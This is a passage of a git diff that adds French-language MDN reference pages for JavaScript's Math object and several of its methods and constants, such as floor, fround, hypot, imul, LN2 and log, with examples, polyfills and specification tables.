Prothèse d'émulation (polyfill)

+ +

Cette fonction peut être émulée en utilisant la fonction {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :

+ +
Math.expm1 = Math.expm1 || function(x) {
+    return Math.exp(x) - 1;
+};
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.expm1', 'Math.expm1')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.expm1', 'Math.expm1')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.expm1")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.E")}}
    • +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log10()")}}
    • +
  • {{jsxref("Math.log1p()")}}
    • +
  • {{jsxref("Math.log2()")}}
    • +
  • {{jsxref("Math.pow()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/floor/index.html b/files/fr/web/javascript/reference/global_objects/math/floor/index.html new file mode 100644 index 0000000000..0058ccfe84 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/floor/index.html @@ -0,0 +1,100 @@ +--- +title: Math.floor() +slug: Web/JavaScript/Reference/Objets_globaux/Math/floor +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor +--- +
{{JSRef}}
+ +

La fonction Math.floor(x) renvoie le plus grand entier qui est inférieur ou égal à un nombre x.

+ +
{{EmbedInteractiveExample("pages/js/math-floor.html")}}
+ + + +

Syntaxe

+ +
Math.floor(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Un nombre qui représente le plus grand entier inférieur ou égal à la valeur passée en argument.

+ +

Description

+ +

floor() est une méthode statique de l'objet Math, elle doit toujours être utilisée avec la syntaxe  Math.floor(), elle ne doit pas être utilisée avec un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +
+

Note : Math.floor(null) renvoie 0 et pas {{jsxref("NaN")}}.

+
+ +

Exemples

+ +

Utiliser Math.floor

+ +
Math.floor( 45.95); //  45
+Math.floor( 45.05); //  45
+Math.floor(  4   ); //   4
+Math.floor(-45.05); // -46
+Math.floor(-45.95); // -46
+Math.floor(null);   // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.9', 'Math.floor')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.floor', 'Math.floor')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.floor', 'Math.floor')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.floor")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.abs()")}}
    • +
  • {{jsxref("Math.ceil()")}}
    • +
  • {{jsxref("Math.round()")}}
    • +
  • {{jsxref("Math.sign()")}}
    • +
  • {{jsxref("Math.trunc()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/fround/index.html b/files/fr/web/javascript/reference/global_objects/math/fround/index.html new file mode 100644 index 0000000000..59ca437b06 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/fround/index.html @@ -0,0 +1,89 @@ +--- +title: Math.fround() +slug: Web/JavaScript/Reference/Objets_globaux/Math/fround +tags: + - ECMAScript6 + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/fround +--- +
{{JSRef}}
+ +

La fonction Math.fround() renvoie le nombre flottant à précision simple sur 32 bits qui est le plus proche du nombre fourni.

+ +
{{EmbedInteractiveExample("pages/js/math-fround.html")}}
+ + + +

Syntaxe

+ +
Math.fround(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Le nombre flottant à précision simple sur 32 bits qui est le plus proche de la valeur fournie en argument.

+ +

Description

+ +

Un moteur JavaScript utilise des nombres flottant à précision simple sur 64 bits. Cela permet d'obtenir une précision fine. Toutefois, lorsqu'on manipule des valeurs représentées sur 32 bits (par exemple des valeurs extraites d'un {{jsxref("Float32Array")}}) et qu'on souhaite comparer celles-ci avec des valeurs sur 32 bits, on peut obtenir des inégalités alors que les valeurs semblent identiques.

+ +

Pour résoudre ce problème, on peut utiliser Math.fround() afin de transformer un nombre représenté sur 64 bits en un nombre représenté sur 32 bits. Pour le moteur JavaScript, la valeur sera toujours représentée sur 64 bits mais elle aura été « arrondie » à partir du 23e bit de la mantisse. Si le nombre passé en argument se situe en dehors de l'intervalle représentable sur 32 bits, la méthode renverra {{jsxref("Infinity")}} ou -Infinity.

+ +

fround étant une méthode statique de Math, il faut utiliser Math.fround() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.fround()

+ +
Math.fround(0);     // 0
+Math.fround(1);     // 1
+
+// 1.337 ne peut pas être représenté correctement
+// sur 32 bits
+Math.fround(1.337); // 1.3370000123977661
+
+Math.fround(1.5);   // 1.5
+Math.fround(NaN);   // NaN
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.fround', 'Math.fround')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.fround', 'Math.fround')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.fround")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.round()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/hypot/index.html b/files/fr/web/javascript/reference/global_objects/math/hypot/index.html new file mode 100644 index 0000000000..90c6ec6690 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/hypot/index.html @@ -0,0 +1,129 @@ +--- +title: Math.hypot() +slug: Web/JavaScript/Reference/Objets_globaux/Math/hypot +tags: + - ECMAScript6 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/hypot +--- +
{{JSRef}}
+ +

La fonction Math.hypot() renvoie la racine carrée de la somme des carrés de ses arguments. On peut également la définir avec la formule suivante :

+ +

Math.hypot(v1,v2,…,vn)=∑i=1nvi2=v12+v22+…+vn2\mathtt{\operatorname{Math.hypot}(v_1, v_2, \dots, v_n)} = \sqrt{\sum_{i=1}^n v_i^2} = \sqrt{v_1^2 + v_2^2 + \dots + v_n^2}

+ +
{{EmbedInteractiveExample("pages/js/math-hypot.html")}}
+ + + +

Syntaxe

+ +
Math.hypot([valeur1[,valeur2, ...]])
+ +

Paramètres

+ +
+
valeur1, valeur2, ...
+
Des nombres.
+
+ +

Valeur de retour

+ +

La racine carrée de la somme des carrés des arguments. S'il existe un des arguments qui ne peut pas être converti en un nombre, c'est la valeur {{jsxref("NaN")}} qui sera renvoyée.

+ +

Description

+ +

hypot() étant une méthode statique de Math, il faut utiliser Math.hypot()et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Si aucun argument n'est donné, le résultat sera +0.Si, parmi les arguments, au moins un ne peut pas être converti en un nombre, le résultat sera {{jsxref("NaN")}}.Si cette fonction est utilisée avec un argument : Math.hypot(x) sera équivalente à Math.abs(x).

+ +

Cette fonction permet entre autres de gérer certains cas où, pour les grands nombres, l'utilisation de {{jsxref("Math.sqrt()")}} aurait renvoyé {{jsxref("Infinity")}} à cause des calculs intermédiaires.

+ +

Exemples

+ +

Utiliser Math.hypot()

+ +
Math.hypot(3, 4)        // 5
+Math.hypot(3, 4, 5)     // 7.0710678118654755
+Math.hypot()            // 0
+Math.hypot(NaN)         // NaN
+Math.hypot(3, 4, "toto") // NaN, +"toto" => NaN
+Math.hypot(3, 4, "5")   // 7.0710678118654755, +"5" => 5
+Math.hypot(-3)          // 3, the same as Math.abs(-3)
+
+ +

Prothèse d'émulation (polyfill)

+ +

Si elle n'est pas disponible, cette fonction peut être émulée de la façon suivante :

+ +
Math.hypot =  Math.hypot || function() {
+    var y = 0;
+    var length = arguments.length;
+
+    for (var i = 0; i < length; i++) {
+      if(arguments[i] === Infinity || arguments[i] === -Infinity) {
+        return Infinity;
+      }
+      y += arguments[i] * arguments[i];
+    }
+    return Math.sqrt(y);
+};
+
+ +

Voici une seconde version qui évite les dépassements :

+ +
Math.hypot = function (x, y) {
+  // https://bugzilla.mozilla.org/show_bug.cgi?id=896264#c28
+  var max = 0;
+  var s = 0;
+  for (var i = 0; i < arguments.length; i += 1) {
+    var arg = Math.abs(Number(arguments[i]));
+    if (arg > max) {
+      s *= (max / arg) * (max / arg);
+      max = arg;
+    }
+    s += arg === 0 && max === 0 ? 0 : (arg / max) * (arg / max);
+  }
+  return max === 1 / 0 ? 1 / 0 : max * Math.sqrt(s);
+};
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.hypot', 'Math.hypot')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-math.hypot', 'Math.hypot')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.hypot")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.abs()")}}
    • +
  • {{jsxref("Math.pow()")}}
    • +
  • {{jsxref("Math.sqrt()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/imul/index.html b/files/fr/web/javascript/reference/global_objects/math/imul/index.html new file mode 100644 index 0000000000..3eb75d949d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/imul/index.html @@ -0,0 +1,93 @@ +--- +title: Math.imul() +slug: Web/JavaScript/Reference/Objets_globaux/Math/imul +tags: + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/imul +--- +
{{JSRef}}
+ +

La fonction Math.imul() renvoie le résultat de la multiplication de deux nombres, calculée avec la représentation sur 32 bits de ces nombres, à la façon du langage C.

+ +
{{EmbedInteractiveExample("pages/js/math-imul.html")}}
+ + + +

Syntaxe

+ +
Math.imul(a, b)
+ +

Paramètres

+ +
+
a
+
Le premier nombre.
+
b
+
Le second nombre.
+
+ +

Valeur de retour

+ +

Le résultat de la multiplication sur 32 bits des valeurs passées en argument (comme en C).

+ +

Description

+ +

Math.imul() permet d'effectuer une multiplication rapide pour des entiers sur 32 bits avec une sémantique proche du langage C. Cela est utile pour des aspects de performance, notamment pour des projets comme Emscripten. imul() étant une méthode statique de Math, il faut utiliser Math.imul() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur). Attention à l'utilisation de nombres flottants avec Math.imul() car cela implique une opération de conversion des flottants vers les entiers pour la multiplication puis une opération de conversion du résultat en flottant. Dans la pratique, Math.imul() est notamment pertinent pour asm.js.

+ +

Exemples

+ +

Utiliser Math.imul()

+ +
Math.imul(2, 4);          // 8
+Math.imul(-1, 8);         //-8
+Math.imul(-2, -2);        // 4
+Math.imul(0xffffffff, 5); //-5
+Math.imul(0xfffffffe, 5); //-10
+
+ +

Prothèse d'émulation (polyfill)

+ +

Si elle n'est pas disponible, cette fonction peut être émulée de la façon suivante :

+ +
Math.imul = Math.imul || function(a, b) {
+  var ah  = (a >>> 16) & 0xffff;
+  var al = a & 0xffff;
+  var bh  = (b >>> 16) & 0xffff;
+  var bl = b & 0xffff;
+  // Le décalage par 0 rétablit le signe de la partie haute
+  // le |0 final convertit la valeur non-signée en une valeur signée
+  return ((al * bl) + (((ah * bl + al * bh) << 16) >>> 0)|0);
+};
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.imul', 'Math.imul')}}{{Spec2('ES6')}}Définition initiale
{{SpecName('ESDraft', '#sec-math.imul', 'Math.imul')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.imul")}}

diff --git a/files/fr/web/javascript/reference/global_objects/math/index.html b/files/fr/web/javascript/reference/global_objects/math/index.html new file mode 100644 index 0000000000..231f165879 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/index.html @@ -0,0 +1,173 @@ +--- +title: Math +slug: Web/JavaScript/Reference/Objets_globaux/Math +tags: + - JavaScript + - Math + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math +--- +
{{JSRef}}
+ +

L'objet Math est un objet natif dont les méthodes et propriétés permettent l'utilisation de constantes et fonctions mathématiques. Cet objet n'est pas une fonction.

+ +
+

Attention ! Math fonctionne avec le type {{jsxref("Number")}}. Il ne fonctionne pas avec les grands entiers/{{jsxref("BigInt")}}.

+
+ +

Description

+ +

Contrairement aux autres objets globaux, Math n'est pas un constructeur. Toutes les propriétés et les méthodes de Math sont statiques (pour éventuellement étendre cette API, ce qui est fortement déconseillé, on n'utilisera donc pas Math.prototype).

+ +

Pour accéder à la constante PI, on utilise Math.PI.
+ Pour accéder à la fonction sinus, on utilise Math.sin(x) où x est l'argument de cette méthode.

+ +

Les constantes sont définies avec la précision des nombres réels en JavaScript.

+ +

Propriétés

+ +
+
{{jsxref("Math.E")}}
+
Nombre d'Euler, la base des logarithmes naturels, environ 2,718.
+
{{jsxref("Math.LN2")}}
+
Logarithme naturel de 2, environ 0,693.
+
{{jsxref("Math.LN10")}}
+
Logarithme naturel de 10, environ 2,302.
+
{{jsxref("Math.LOG2E")}}
+
Logarithme de base 2 de E, environ 1,442.
+
{{jsxref("Math.LOG10E")}}
+
Logarithme de base 10 de E, environ 0,434.
+
{{jsxref("Math.PI")}}
+
Quotient de la circonférence d'un cercle par son diamètre, environ 3,14159.
+
{{jsxref("Math.SQRT1_2")}}
+
Racine carrée de 1/2 ; équivalent de 1 sur la racine carrée de 2, environ 0,707.
+
{{jsxref("Math.SQRT2")}}
+
Racine carrée de 2, environ 1,414.
+
+ +

Méthodes

+ +
Les fonctions trigonométriques (sin(), cos(), tan(), asin(), acos(), atan(), atan2()) acceptent ou retournent des angles en radians.
+Pour convertir des degrés en radians, multipliez la valeur en degrés par (Math.PI / 180).
+Pour passer des radians en degrés, divisez la valeur en radians par (Math.PI / 180).
+ +
La précision des fonctions mathématiques dépend notamment de l'implémentation. Cela signifie que différents navigateurs peuvent fournir des résultats différents. On peut même avoir un même moteur JavaScript qui, sur des architectures et/ou des systèmes d'exploitation différents, fournit des résultats différents.
+ +
+
{{jsxref("Objets_globaux/Math/abs", "Math.abs(x)")}}
+
Retourne la valeur absolue d'un nombre.
+
{{jsxref("Objets_globaux/Math/acos", "Math.acos(x)")}}
+
Retourne l'arc cosinus d'un nombre.
+
{{jsxref("Objets_globaux/Math/acosh", "Math.acosh(x)")}}
+
Retourne l'arc cosinus hyperbolique d'un nombre.
+
{{jsxref("Objets_globaux/Math/asin", "Math.asin(x)")}}
+
Retourne l'arc sinus d'un nombre.
+
{{jsxref("Objets_globaux/Math/asinh", "Math.asinh(x)")}}
+
Retourne l'arc sinus hyperbolique d'un nombre.
+
{{jsxref("Objets_globaux/Math/atan", "Math.atan(x)")}}
+
Retourne l'arc tangente d'un nombre.
+
{{jsxref("Objets_globaux/Math/atanh", "Math.atanh(x)")}}
+
Retourne l'arc tangente hyperbolique d'un nombre
+
{{jsxref("Objets_globaux/Math/atan2", "Math.atan2(y, x)")}}
+
Retourne l'arc tangente du quotient de ses arguments.
+
{{jsxref("Objets_globaux/Math/cbrt", "Math.cbrt(x)")}}
+
Renvoie la racine cubique d'un nombre.
+
{{jsxref("Objets_globaux/Math/ceil", "Math.ceil(x)")}}
+
Retourne le plus petit entier supérieur ou égal à la valeur passée en paramètre.
+
{{jsxref("Objets_globaux/Math/clz32", "Math.clz32(x)")}}
+
Renvoie le nombre de zéros qui préfixent un entier sur 32 bits.
+
{{jsxref("Objets_globaux/Math/cos", "Math.cos(x)")}}
+
Retourne le cosinus d'un nombre.
+
{{jsxref("Objets_globaux/Math/cosh", "Math.cosh(x)")}}
+
Renvoie le cosinus hyperbolique d'un nombre.
+
{{jsxref("Objets_globaux/Math/exp", "Math.exp(x)")}}
+
Renvoie l'exponentielle d'un nombre (soit Enombre) avec E la constante d'Euler (2,718...).
+
{{jsxref("Objets_globaux/Math/expm1", "Math.expm1(x)")}}
+
Renvoie le résultat de 1 moins l'exponentielle d'un nombre.
+
{{jsxref("Objets_globaux/Math/floor", "Math.floor(x)")}}
+
Retourne le plus grand entier inférieur ou égal à la valeur passée en paramètre.
+
{{jsxref("Objets_globaux/Math/fround", "Math.fround(x)")}}
+
Renvoie le nombre flottant exprimé sur 32 bits le plus proche de l'argument.
+
{{jsxref("Objets_globaux/Math/hypot", "Math.hypot([x[,y[,…]]])")}}
+
Retourne la racine carré de la somme des carrés des arguments.
+
{{jsxref("Objets_globaux/Math/imul", "Math.imul(x, y)")}}
+
Retourne le résultat de la multiplication d'entiers sur 32 bits.
+
{{jsxref("Objets_globaux/Math/log", "Math.log(x)")}}
+
Retourne le logarithme naturel (loge) d'un nombre.
+
{{jsxref("Objets_globaux/Math/log1p", "Math.log1p(x)")}}
+
Retourne le logarithme naturel de 1 + un nombre.
+
{{jsxref("Objets_globaux/Math/log10", "Math.log10(x)")}}
+
Retourne le logarithme en base 10 d'un nombre.
+
{{jsxref("Objets_globaux/Math/log2", "Math.log2(x)")}}
+
Retourne le logarithme en base 2 d'un nombre.
+
{{jsxref("Objets_globaux/Math/max", "Math.max([x[,y[,…]]])")}}
+
Retourne la plus grande valeur d'une liste de nombres.
+
{{jsxref("Objets_globaux/Math/min", "Math.min([x[,y[,…]]])")}}
+
Retourne la plus petite valeur d'une liste de nombres.
+
{{jsxref("Objets_globaux/Math/pow", "Math.pow(x,y)")}}
+
Retourne le calcul de x à la puissance y (x correspond à la base et y à l'exposant).
+
{{jsxref("Objets_globaux/Math/random", "Math.random()")}}
+
Retourne un nombre pseudo-aléatoire compris entre 0 (inclus) et 1 (exclu).
+
{{jsxref("Objets_globaux/Math/round", "Math.round(x)")}}
+
Retourne l'arrondi d'un nombre.
+
{{jsxref("Objets_globaux/Math/sign", "Math.sign(x)")}}
+
Retourne le signe d'un nombre, indiquant s'il est positif, négatif ou égal à zéro.
+
{{jsxref("Objets_globaux/Math/sin", "Math.sin(x)")}}
+
Retourne le sinus d'un nombre.
+
{{jsxref("Objets_globaux/Math/sinh", "Math.sinh(x)")}}
+
Retourne le sinus hyperbolique d'un nombre.
+
{{jsxref("Objets_globaux/Math/sqrt", "Math.sqrt(x)")}}
+
Retourne la racine carrée d'un nombre.
+
{{jsxref("Objets_globaux/Math/tan", "Math.tan(x)")}}
+
Retourne la tangente d'un nombre.
+
{{jsxref("Objets_globaux/Math/tanh", "Math.tanh(x)")}}
+
Retourne la tangente hyperbolique d'un nombre
+
Math.toSource() {{Non-standard_inline}}
+
Renvoie la chaîne de caractères "Math".
+
{{jsxref("Objets_globaux/Math/trunc", "Math.trunc(x)")}}
+
Retourne la partie entière d'un nombre (la partie décimale est retirée).
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1
{{SpecName('ES5.1', '#sec-15.8', 'Math')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math-object', 'Math')}}{{Spec2('ES6')}}Nouvelles méthodes ajoutées : {{jsxref("Math.log10()", "log10()")}}, {{jsxref("Math.log2()", "log2()")}}, {{jsxref("Math.log1p()", "log1p()")}}, {{jsxref("Math.expm1()", "expm1()")}}, {{jsxref("Math.cosh()", "cosh()")}}, {{jsxref("Math.sinh()", "sinh()")}}, {{jsxref("Math.tanh()", "tanh()")}}, {{jsxref("Math.acosh()", "acosh()")}}, {{jsxref("Math.asinh()", "asinh()")}}, {{jsxref("Math.atanh()", "atanh()")}}, {{jsxref("Math.hypot()", "hypot()")}}, {{jsxref("Math.trunc()", "trunc()")}}, {{jsxref("Math.sign()", "sign()")}}, {{jsxref("Math.imul()", "imul()")}}, {{jsxref("Math.fround()", "fround()")}}, {{jsxref("Math.cbrt()", "cbrt()")}} et {{jsxref("Math.clz32()", "clz32()")}}.
{{SpecName('ESDraft', '#sec-math-object', 'Math')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/ln10/index.html b/files/fr/web/javascript/reference/global_objects/math/ln10/index.html new file mode 100644 index 0000000000..e9eae9acc2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/ln10/index.html @@ -0,0 +1,83 @@ +--- +title: Math.LN10 +slug: Web/JavaScript/Reference/Objets_globaux/Math/LN10 +tags: + - JavaScript + - Math + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10 +--- +
{{JSRef}}
+ +

La propriété Math.LN10 représente la valeur du logarithme naturel de 10, environ 2.302 :

+ +

Math.LN10=ln(10)≈2.302\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302

+ +
{{EmbedInteractiveExample("pages/js/math-ln10.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

LN10 est une propriété statique de Math, elle doit toujours être utilisée avec la syntaxe Math.LN10, et ne pas être appelée comme propriété d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.LN10

+ +

La fonction suivante renvoie le logarithme naturel de 10 :

+ +
function getNatLog10() {
+   return Math.LN10;
+}
+
+getNatLog10(); // 2.302585092994046
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.2', 'Math.LN10')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.ln10', 'Math.LN10')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.ln10', 'Math.LN10')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.LN10")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log10()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/ln2/index.html b/files/fr/web/javascript/reference/global_objects/math/ln2/index.html new file mode 100644 index 0000000000..89db2712fd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/ln2/index.html @@ -0,0 +1,83 @@ +--- +title: Math.LN2 +slug: Web/JavaScript/Reference/Objets_globaux/Math/LN2 +tags: + - JavaScript + - Math + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2 +--- +
{{JSRef}}
+ +

La propriété Math.LN2 représente le logarithme naturel de 2, environ 0.693:

+ +

Math.LN2=ln(2)≈0.693\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693

+ +
{{EmbedInteractiveExample("pages/js/math-ln2.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

LN2 est une propriété statique de l'objet Math, il doit toujours être utilisé avec la syntaxe Math.LN2, et non pas être utilisé comme la propriété d'un objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.LN2

+ +

La fonction suivante renvoie le logarithme en base 2 d'un nombre en utilisant la valeur de Math.LN2 :

+ +
function getLog2(x) {
+  return Math.log(x) / Math.LN2;
+}
+
+getLog2(256); // 8
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.3', 'Math.LN2')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.ln2', 'Math.LN2')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.ln2', 'Math.LN2')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.LN2")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log2()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/log/index.html b/files/fr/web/javascript/reference/global_objects/math/log/index.html new file mode 100644 index 0000000000..177215b74b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/log/index.html @@ -0,0 +1,107 @@ +--- +title: Math.log() +slug: Web/JavaScript/Reference/Objets_globaux/Math/log +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/log +--- +
{{JSRef}}
+ +

La fonction Math.log() renvoie le logarithme naturel (aussi appelé logarithme népérien) d'un nombre, défini par :

+ +

∀x>0,Math.log(x)=ln(x)=le seul ytel queey=x\forall x > 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x

+ +
{{EmbedInteractiveExample("pages/js/math-log.html")}}
+ + + +

Syntaxe

+ +
Math.log(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Le logarithme naturelle de la valeur passée en argument. Si cette valeur est négative, c'est {{jsxref("NaN")}} qui est renvoyé.

+ +

Description

+ +

Si la valeur de l'argument est négative, la valeur renvoyée sera {{jsxref("NaN")}}. Si la valeur de l'argument est 0, la valeur de retour sera {{jsxref("Number.NEGATIVE_INFINITY", "-Infinity")}}.

+ +

log() est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.log(), elle ne doit pas être utilisée à partir d'un autre objet qui aurait été créé (Math n'est pas un constructeur). Si on veut utiliser les constantes données par les logarithmes naturels de 2 ou 10, on pourra utiliser les constantes {{jsxref("Math.LN2")}} ou {{jsxref("Math.LN10")}}. De même pour les logarithmes en base 2 ou en base 10, on pourra utiliser {{jsxref("Math.log2()")}} or {{jsxref("Math.log10()")}}.

+ +

Exemples

+ +

Utiliser Math.log()

+ +
Math.log(-1); // NaN, valeur en dehors de l'intervalle de définition
+Math.log(0);  // -Infinity
+Math.log(1);  // 0
+Math.log(10); // 2.302585092994046
+ +

Utiliser Math.log pour construire un logarithme sur une autre base

+ +

La fonction suivante renvoie le logarithme de y en base x (c'est-à-dire logx y):

+ +
function getBaseLog(x, y) {
+    return Math.log(y) / Math.log(x);
+}
+ +

Si on exécute getBaseLog(10, 1000), on obtiendra 2.9999999999999996 en raison de l'arrondi du à la représentation en nombre flottant (le résultat exact étant 3).

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.10', 'Math.log')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.log', 'Math.log')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.log', 'Math.log')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.log")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log1p()")}}
    • +
  • {{jsxref("Math.log10()")}}
    • +
  • {{jsxref("Math.log2()")}}
    • +
  • {{jsxref("Math.pow()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/log10/index.html b/files/fr/web/javascript/reference/global_objects/math/log10/index.html new file mode 100644 index 0000000000..724247091b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/log10/index.html @@ -0,0 +1,100 @@ +--- +title: Math.log10() +slug: Web/JavaScript/Reference/Objets_globaux/Math/log10 +tags: + - ECMAScript 2015 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/log10 +--- +
{{JSRef}}
+ +

La fonction Math.log10() renvoie le logarithme en base 10 d'un nombre, donné par la formule :

+ +

∀x>0,Math.log10(x)=log10(x)=l'unique  ytel que10y=x\forall x > 0, \mathtt{\operatorname{Math.log10}(x)} = \log_10(x) = \text{the unique} \; y \; \text{such that} \; 10^y = x

+ +
{{EmbedInteractiveExample("pages/js/math-log10.html")}}
+ + + +

Syntaxe

+ +
Math.log10(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Le logarithme en base 10 du nombre passé en argument. Si cette valeur est négative, c'est {{jsxref("NaN")}} qui sera renvoyé.

+ +

Description

+ +

Si la valeur de l'argument est strictement inférieure à 0, la valeur renvoyée à {{jsxref("NaN")}}.

+ +

log10() étant une méthode statique de Math, il faut utiliser Math.log10()et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur). Cette fonction est équivalente à la fonction donnée par Math.log(x) / Math.log(10).

+ +

Exemple

+ +

Utiliser Math.log10()

+ +
Math.log10(2);      // 0.3010299956639812
+Math.log10(1);      // 0
+Math.log10(0);      // -Infinity
+Math.log10(-2);     // NaN
+Math.log10(100000); // 5
+
+ +

Prothèse d'émulation (polyfill)

+ +

